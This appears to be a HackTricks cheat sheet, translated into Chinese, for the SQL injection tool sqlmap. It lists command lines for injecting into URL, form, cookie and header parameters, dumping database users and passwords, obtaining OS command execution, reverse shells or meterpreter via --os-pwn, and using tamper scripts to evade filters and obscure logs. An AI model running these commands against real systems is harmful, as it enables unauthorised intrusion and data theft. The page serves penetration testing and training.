SQLMap

Reading time: 10 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

SQLmap的基本参数

通用

bash
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

技术标志 (--technique)

--technique 参数定义了 sqlmap 将尝试的 SQL 注入方法。字符串中的每个字符代表一种技术:

字母技术描述
B基于布尔的盲注使用真/假条件推断数据
E基于错误的注入利用详细的 DBMS 错误消息提取结果
UUNION 查询注入 UNION SELECT 语句通过相同通道获取数据
S堆叠查询添加由 ; 分隔的额外语句
T基于时间的盲注依赖延迟 (SLEEP, WAITFOR) 检测注入
Q内联 / 异带使用如 LOAD_FILE() 的函数或 DNS 等异带通道

默认顺序为 BEUSTQ。您可以重新排列或限制它们,例如仅按顺序使用布尔和基于时间的注入:

bash
sqlmap -u "http://target/?id=1" --technique="BT" --batch

检索信息

内部

bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

数据库数据

bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

注入位置

从 Burp/ZAP 捕获

捕获请求并创建一个 req.txt 文件

bash
sqlmap -r req.txt --current-user

GET 请求注入

bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST 请求注入

bash
sqlmap -u "http://example.com" --data "username=*&password=*"

在头部和其他HTTP方法中的注入

bash
#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

二次注入

bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

使用SQLmap爬取网站并自动利用

bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

自定义注入

设置后缀

bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

前缀

bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

帮助寻找布尔注入

bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperDescription
apostrophemask.py用其 UTF-8 全宽对应字符替换撇号字符
apostrophenullencode.py用其非法双重 Unicode 对应字符替换撇号字符
appendnullbyte.py在有效负载末尾附加编码的 NULL 字节字符
base64encode.py对给定有效负载中的所有字符进行 Base64 编码
between.py用 'NOT BETWEEN 0 AND #' 替换大于运算符 ('>')
bluecoat.py用有效的随机空白字符替换 SQL 语句后的空格字符。然后用 LIKE 运算符替换字符 =
chardoubleencode.py对给定有效负载中的所有字符进行双重 URL 编码 (不处理已编码的字符)
commalesslimit.py用 'LIMIT N OFFSET M' 替换 'LIMIT M, N' 的实例
commalessmid.py用 'MID(A FROM B FOR C)' 替换 'MID(A, B, C)' 的实例
concat2concatws.py用 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' 替换 'CONCAT(A, B)' 的实例
charencode.py对给定有效负载中的所有字符进行 URL 编码 (不处理已编码的字符)
charunicodeencode.py对给定有效负载中未编码的字符进行 Unicode URL 编码 (不处理已编码的字符)。 "%u0022"
charunicodeescape.py对给定有效负载中未编码的字符进行 Unicode URL 编码 (不处理已编码的字符)。 "\u0022"
equaltolike.py用运算符 'LIKE' 替换运算符等于 ('=') 的所有出现
escapequotes.py斜杠转义引号 (' 和 ")
greatest.py用 'GREATEST' 对应字符替换大于运算符 ('>')
halfversionedmorekeywords.py在每个关键字前添加版本化的 MySQL 注释
ifnull2ifisnull.py用 'IF(ISNULL(A), B, A)' 替换 'IFNULL(A, B)' 的实例
modsecurityversioned.py用版本化注释包裹完整查询
modsecurityzeroversioned.py用零版本化注释包裹完整查询
multiplespaces.py在 SQL 关键字周围添加多个空格
nonrecursivereplacement.py用适合替换的表示法替换预定义的 SQL 关键字 (例如 .replace("SELECT", "") 过滤器)
percentage.py在每个字符前添加百分号 ('%')
overlongutf8.py转换给定有效负载中的所有字符 (不处理已编码的字符)
randomcase.py用随机大小写值替换每个关键字字符
randomcomments.py向 SQL 关键字添加随机注释
securesphere.py附加特殊构造的字符串
sp_password.py在有效负载末尾附加 'sp_password' 以自动混淆 DBMS 日志
space2comment.py用注释替换空格字符 (' ')
space2dash.py用破折号注释 ('--') 替换空格字符 (' '),后跟随机字符串和换行符 ('\n')
space2hash.py用井号字符 ('#') 替换空格字符 (' '),后跟随机字符串和换行符 ('\n')
space2morehash.py用井号字符 ('#') 替换空格字符 (' '),后跟随机字符串和换行符 ('\n')
space2mssqlblank.py用有效替代字符集中的随机空白字符替换空格字符 (' ')
space2mssqlhash.py用井号字符 ('#') 替换空格字符 (' '),后跟换行符 ('\n')
space2mysqlblank.py用有效替代字符集中的随机空白字符替换空格字符 (' ')
space2mysqldash.py用破折号注释 ('--') 替换空格字符 (' '),后跟换行符 ('\n')
space2plus.py用加号 ('+') 替换空格字符 (' ')
space2randomblank.py用有效替代字符集中的随机空白字符替换空格字符 (' ')
symboliclogical.py用其符号对应物替换 AND 和 OR 逻辑运算符 (&& 和
unionalltounion.py用 UNION SELECT 替换 UNION ALL SELECT
unmagicquotes.py用多字节组合 %bf%27 替换引号字符 ('),并在末尾添加通用注释 (以使其工作)
uppercase.py用大写值 'INSERT' 替换每个关键字字符
varnish.py附加 HTTP 头 'X-originating-IP'
versionedkeywords.py用版本化的 MySQL 注释包裹每个非函数关键字
versionedmorekeywords.py用版本化的 MySQL 注释包裹每个关键字
xforwardedfor.py附加假 HTTP 头 'X-Forwarded-For'

References

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks